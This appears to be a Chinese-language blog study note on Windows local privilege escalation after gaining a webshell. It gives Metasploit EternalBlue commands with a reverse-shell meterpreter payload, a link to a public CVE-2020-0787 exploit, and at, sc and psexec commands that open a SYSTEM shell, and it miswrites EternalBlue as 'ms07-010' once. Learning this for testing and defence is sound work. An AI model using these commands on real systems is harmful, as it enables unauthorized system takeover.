• 本地提权的学习


    本地提权的学习

    提权,顾名思义就是提升权限,当我们getshell一个网站之后,大部分情况下我们的权限是非常低的(一般只是一个apache权限)。这时候为了“扩大战果”,就需要利用提权,来让原本的低权限(如只允许列目录)–>高权限(拥有修改文件的能力),提升一下权限,有助于我们继续往下渗透。

    提权的分类:

    本地提权
    数据库提权
    第三方软件提权

    Windows和Linux也都是这三种方式提权,这篇就以Windows的为例。

    ——
    ——

    先理解windows中的权限分类。

    system权限:是 Windows系统最高级别的权限 ,有一些操作需要System权限才能完成,比如修改注册表核心键值、强制结束恶意应用程序进程等。
    管理员权限:具有最高的管理和使用权限,能改变系统所有设置,可以安装和删除程序,能访问计算机上所有的文件。除此之外,它还拥有控制其他用户的权限。
    以及更低的权限……

    ——
    ——

    账户类型

    在windwos命令行或者win+r 中输入netplwiz ,可以windwos 中已有的用户账户。
    可以看到 用户goodric 在 administrators 组中,即为管理员权限。
    请添加图片描述
    请添加图片描述

    并且还有很多其它的组,代表不同的权限。可以给账户授予不同的权限。
    请添加图片描述

    几种常见的账户权限:
    Administrator:管理员有计算机的完全访问权,可以做任何需要的更改。根据通知设置,可能会要求管理员在做出会影响其他用户的更改前提供密码或确认。

    User:标准帐户用户可以使用大多数软件,并可以更改不影响其他用户的系统设置。
    Guest:按默认值,来宾跟用户组的成员有同等访i问权,但来广帐广的制更多

    还有简单说几个其它类型的账户权限:

    PowerUser:
    用程序外,还可以运行旧式应用程序
    PrintOperator:
    打印操作员可以获得打印机的控制权
    BackupOperator:
    备份操作员仅在出于备份或还原文件目的时才可以重写安全限制

    webshell之后的权限提升

    getshell之后,采用的提权方式就是系统内核提权了,比如永恒之蓝ms07-010提权,是445端口的一个漏洞。
    运用系统内核漏洞,可以先用wesng工具检测目标存在的漏洞缺陷。
    wesng简单介绍使用:检测Windows安全缺陷工具wesng的学习与使用

    检测到可能存在的漏洞之后,可以用msf针对特定漏洞进行提权。

    使用msf17-010漏洞

    use exploit/windows/smb/ms17_010_eternalblue

    设置payload

    set payload windows/x64/meterpreter/reverse_tcp

    设置目标ip

    set rhost 192.168.43.56

    执行

    run

    请添加图片描述

    然后就进入了meterpreter 命令行
    得到目标机器的system权限。
    请添加图片描述

    ——
    ——

    几个本地提权方式的演示

    1、系统内核漏洞提权

    这里用 cve-2020-0787 的一个漏洞,github下载其exp:
    https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
    请添加图片描述

    然后把这个exe文件拖进cmd命令行进行执行,即执行此文件的路径。
    请添加图片描述

    执行之后,就会自己弹出拥有system权限的cmd命令行。
    请添加图片描述

    2、at命令提权

    影响版本:Win2000 & Win2003 & XP

    就是设置一个计划任务,到了计划的时间就会执行计划任务cmd.exe
    在14:46计划执行cmd.exe

    at 14:46 /interactive cmd.exe

    查看当前计划任务

    at

    请添加图片描述

    到了计划时间时,可以看到,弹出了一个有system权限的cmd命令行。
    请添加图片描述

    3、sc命令提权

    影响版本:win 7、win8、2003、2008

    sc命令有个要求,等号和值之间需要有个空格。
    创建一个名为test的交互式cmd服务。

    sc create test binPath= “cmd /K start” type= own type= interact

    执行这个创建的交互式服务

    sc start test

    执行之后,弹出了一个有system权限的cmd命令行
    请添加图片描述

    这里应该要以管理员运行cmd才可以执行下面的命令。不然会出现拒绝访问的问题。
    请添加图片描述

    4、ps命令提权

    影响版本:Win2003 & Win2008
    下载工具包:
    https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

    在下载的psexec.exe 文件目录下执行命令:

    psexec.exe -accepteula -s -i -d cmd.exe

  • 相关阅读:
    【算法题解】2022河南萌新联赛第(三)场:河南大学
    Java中Static关键字-Static定义代码块-单例设计模式
    史上最全 499 道 Java 面试题:JVM+ 分布式 + 算法 + 锁 +MQ+ 微服务 + 数据库
    SpringBoot热部署
    传输层协议 UDP
    DataX(MySQL同步数据到Doris)
    【Linux开发基础知识】Makefile语法
    pySpark,执行算子show(1)导致并行度不对的问题
    salesforce零基础学习(一百一十二)项目中的零碎知识点小总结(四)
    双亲委派——就是个唬人的翻译
  • 原文地址:https://blog.csdn.net/Goodric/article/details/125895450